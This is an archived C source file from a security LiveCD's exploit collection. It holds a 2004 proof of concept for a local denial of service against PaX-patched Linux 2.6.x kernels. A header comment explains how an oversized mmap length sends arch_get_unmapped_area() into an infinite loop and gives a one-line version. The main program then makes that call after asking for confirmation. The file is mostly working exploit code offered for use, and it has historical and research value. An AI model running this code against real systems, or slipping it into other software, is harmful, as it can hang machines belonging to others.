home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / PaXDoS.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  104 lines

  1. /*
  2.   PaX w/ CONFIG_PAX_RANDMMAP for Linux 2.6.x DoS proof-of-concept
  3.   by Shadowinteger <shadowinteger@sentinix.org>
  4.   2004-05-04
  5.  
  6.   Written after reading the security advisory posted by borg (ChrisR-) on
  7.   Bugtraq 2004-05-03 (my time). ChrisR -> www.cr-secure.net
  8.  
  9.   Acknowledgments: sabu (www.sabu.net)
  10.  
  11.  
  12.   Vulnerability:
  13.     PaX code for 2.6.x prior to 2004-05-01 in arch_get_unmapped_area()
  14.     (function in mm/mmap.c) is vulnerable to a local Denial of Service attack
  15.     because of a bug that puts the kernel into an infinite loop.
  16.  
  17.     Read the security advisory for more info:
  18.     http://www.securityfocus.com/archive/1/361968/2004-04-30/2004-05-06/0
  19.  
  20.  
  21.   Exploitation:
  22.     We need to get passed the following line of code in
  23.     arch_get_unmapped_area() to succeed with a DoS:
  24.         if (TASK_SIZE - len < addr) { ...
  25.  
  26.     We do it like this:
  27.  
  28.     TASK_SIZE - TYPICAL_ADDR + SINK = DOSVAL
  29.  
  30.     DOSVAL is the value we'll use.
  31.  
  32.     arch_get_unmapped_area() does the following:
  33.  
  34.     if TASK_SIZE-DOSVAL < TYPICAL_ADDR then... run right into the vuln code.
  35.     (TASK_SIZE-DOSVAL) *must* be less than TYPICAL_ADDR to succeed.
  36.  
  37.     A DOSVAL of e.g. 0x80000000 or above will work most times, no real need
  38.     for the funky calculation above.
  39.  
  40.     There are quite a few functions available that are "front-ends" to
  41.     arch_get_unmapped_area(). This exploit uses good-old mmap().
  42.  
  43.  
  44.   Tiny DoS PoC:
  45.  
  46. #include <sys/types.h>
  47. #include <sys/stat.h>
  48. #include <fcntl.h>
  49. #include <unistd.h>
  50. #include <sys/mman.h>
  51. int main(void){int fd=open("/dev/zero",O_RDONLY);mmap(0,0xa0000000,PROT_READ,MAP_PRIVATE,fd,0);}
  52.  
  53. */
  54.  
  55. #include <sys/types.h>
  56. #include <sys/stat.h>
  57. #include <fcntl.h>
  58. #include <unistd.h>
  59. #include <sys/mman.h>
  60. #include <stdio.h>
  61.  
  62. #define TASK_SIZE 0xc0000000
  63. #define TYPICAL_ADDR 0x43882000
  64. #define SINK 0x04000000
  65.  
  66. #define DOSVAL (TASK_SIZE - TYPICAL_ADDR + SINK)
  67.  
  68. int main() {
  69.     int fd = open("/dev/zero", O_RDONLY);
  70.  
  71.     printf("PaX w/ CONFIG_PAX_RANDMMAP for Linux 2.6.x DoS proof-of-concept\n"
  72.            "by Shadowinteger <shadowinteger@sentinix.org> 20040504\n"
  73.            "created after a sec advisory on bugtraq posted by borg (ChrisR-) 20040503\n"
  74.            "ChrisR -> www.cr-secure.net\n"
  75.            "\n"
  76.            "the exploit binary must be marked PF_PAX_RANDMMAP to work!\n"
  77.            "\n"
  78.            "greetz goes to: sabu (www.sabu.net)\n"
  79.            "\n"
  80.            "------------------------------------------------------------------------------\n"
  81.            "will exec \"mmap(0, 0x%x, PROT_READ, MAP_PRIVATE, fd, 0);\"\n"
  82.            "\n"
  83.            "if you run Linux 2.6.x-PaX or -grsec, this may \"hurt\" your CPU(s) a little,\n"
  84.            "are you sure you want to continue? [type Y to continue] ", DOSVAL);
  85.     fflush(stdout);
  86.  
  87.     if (getchar() != 'Y') {
  88.         printf("aborted.\n");
  89.         return 0;
  90.     }
  91.  
  92.     printf("\n"
  93.            "attempting to DoS...\n");
  94.  
  95.     if (mmap(0, DOSVAL, PROT_READ, MAP_PRIVATE, fd, 0) == MAP_FAILED) {
  96.         perror("mmap");
  97.     }
  98.  
  99.     printf("your kernel does not seem to be vulnerable! :)\n");
  100.  
  101.     return 0;
  102. }
  103.  
  104.